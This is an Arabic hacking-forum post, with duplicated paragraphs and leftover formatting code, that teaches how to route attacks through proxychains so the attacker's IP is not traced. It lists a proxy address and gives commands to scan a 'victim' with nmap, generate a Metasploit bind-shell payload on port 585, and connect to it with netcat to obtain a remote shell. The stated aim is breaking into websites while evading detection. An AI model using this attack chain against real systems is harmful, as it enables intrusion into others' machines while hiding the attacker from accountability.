S4udi h4ck
katem
استخدام البروكسيات من الفحص الى الحصول على شل !
السلام عليكم ورحمه الله وبركاته
اليوم درسنا خفيف وسهل ,
لان ماشفت نقاش او احد تطرق الى proxychains
الكثير منا حاول يخترق مواقع لكن المشكله في IP المهاجم ,, ممكن ينصاد عن طريقه
على العموم اليوم راح نفحص بـ nmap ونستخدم ثغره عن طريق البروكسي
انتبه انتبه انتبه , عند اختيار البوركسي ,
لان ممكن يضيع عليك الثغرات, والثغرات اللي ممكن تشتغل مش مشتغله وكله بسبب البروكسي
البروكسي المستخدم :
الاداه اللي راح نستخدمها هي proxychains
الاداه قويه واستخداماتها متنوعه ,, ببساطه هي عمل TCP tunneling عن طريق socks4/5 & http/s
فائدة الـ proxychains يجبر اي برنامج بأن يشتغل خلف بروكسي
لذلك انا راح استخدمها للاختراق والفحص
الشرح فديو لكن بوضح بعض الاشياء ,
اليوم درسنا خفيف وسهل ,
لان ماشفت نقاش او احد تطرق الى proxychains
الكثير منا حاول يخترق مواقع لكن المشكله في IP المهاجم ,, ممكن ينصاد عن طريقه
على العموم اليوم راح نفحص بـ nmap ونستخدم ثغره عن طريق البروكسي
انتبه انتبه انتبه , عند اختيار البوركسي ,
لان ممكن يضيع عليك الثغرات, والثغرات اللي ممكن تشتغل مش مشتغله وكله بسبب البروكسي
البروكسي المستخدم :
كود:
[COLOR=darkorange]212.116.220.149:443[/COLOR]
الاداه اللي راح نستخدمها هي proxychains
الاداه قويه واستخداماتها متنوعه ,, ببساطه هي عمل TCP tunneling عن طريق socks4/5 & http/s
فائدة الـ proxychains يجبر اي برنامج بأن يشتغل خلف بروكسي
لذلك انا راح استخدمها للاختراق والفحص
الشرح فديو لكن بوضح بعض الاشياء ,
كود PHP:
كود:
[B][SIZE=3][COLOR=#c9c9c9] [COLOR=#000000] [COLOR=#0000bb]nano [/COLOR][COLOR=#007700]/[/COLOR][COLOR=#0000bb]etc[/COLOR][COLOR=#007700]/[/COLOR][COLOR=#0000bb]proxychains[/COLOR][COLOR=#007700].[/COLOR][COLOR=#0000bb]conf [/COLOR][/COLOR][/COLOR][/SIZE][/B]
انا وضعت البروكسي داخل الاعدادات
كود PHP:
كود:
[B][SIZE=3][COLOR=#c9c9c9] [COLOR=#000000] [COLOR=#0000bb]proxychains nmap [/COLOR][COLOR=#007700]-[/COLOR][COLOR=#0000bb]PN [/COLOR][COLOR=#007700]-[/COLOR][COLOR=#0000bb]sT [/COLOR][COLOR=#007700]-[/COLOR][COLOR=#0000bb]sV [/COLOR][COLOR=#007700]-[/COLOR][COLOR=#0000bb]p 21[/COLOR][COLOR=#007700],[/COLOR][COLOR=#0000bb]22[/COLOR][COLOR=#007700],[/COLOR][COLOR=#0000bb]23[/COLOR][COLOR=#007700],[/COLOR][COLOR=#0000bb]25[/COLOR][COLOR=#007700],[/COLOR][COLOR=#0000bb]80 my[/COLOR][COLOR=#007700]-[/COLOR][COLOR=#0000bb]victim [/COLOR][/COLOR][/COLOR][/SIZE][/B]
انا اجبرت الـ nmap بأن يشتغل ورا بروكسي ويقوم فحص IP ضحيتي
ممكن تستخدم ادوات اخرى مثل nikto لكن ما يحتاج انك تستخدم proxychains لان
nikto له خاصيه العمل خلف بروكسي
بعد الفحص وجدنا ان بورت 21,80 مفتوحه , وراح نلاحظ ان الـ nmap اعطاني الـ بنر للبورت 21
وقدرت اطلع ثغره موجوده ,,
ممكن تستخدم ادوات اخرى مثل nikto لكن ما يحتاج انك تستخدم proxychains لان
nikto له خاصيه العمل خلف بروكسي
بعد الفحص وجدنا ان بورت 21,80 مفتوحه , وراح نلاحظ ان الـ nmap اعطاني الـ بنر للبورت 21
وقدرت اطلع ثغره موجوده ,,
كود PHP:
كود:
[B][SIZE=3][COLOR=#c9c9c9] [COLOR=#000000] [COLOR=#0000bb]msfpayload windows[/COLOR][COLOR=#007700]/[/COLOR][COLOR=#0000bb]shell_bind_tcp lport[/COLOR][COLOR=#007700]=[/COLOR][COLOR=#0000bb]585 C [/COLOR][/COLOR][/COLOR][/SIZE][/B]
علمت شل كود , وراح يعطيني شل على البورت 585
كود PHP:
كود:
[B][SIZE=3][COLOR=#c9c9c9] [COLOR=#000000] [COLOR=#0000bb]proxychains nc [/COLOR][COLOR=#007700]-[/COLOR][COLOR=#0000bb]vn my[/COLOR][COLOR=#007700]-[/COLOR][COLOR=#0000bb]victim 585 [/COLOR][/COLOR][/COLOR][/SIZE][/B]
الان حصلت شل عن طريق البروكسي
راح تتابعون في الفديو ان جميع الاتصالات في جهازي وجهاز ضحيتي عن طريق البروكسي
*التطبيق صار على سيرفري الشخصي
download proxychains
مشاهده ممتعه
smilies15
SiLv3r00t
راح تتابعون في الفديو ان جميع الاتصالات في جهازي وجهاز ضحيتي عن طريق البروكسي
*التطبيق صار على سيرفري الشخصي
download proxychains
مشاهده ممتعه
SiLv3r00t
التعديل الأخير بواسطة المشرف:
اسم الموضوع : استخدام البروكسيات من الفحص الى الحصول على شل !
|
المصدر : قـسـم إخـتـراق الـمـواقـع والـسـيرفـرات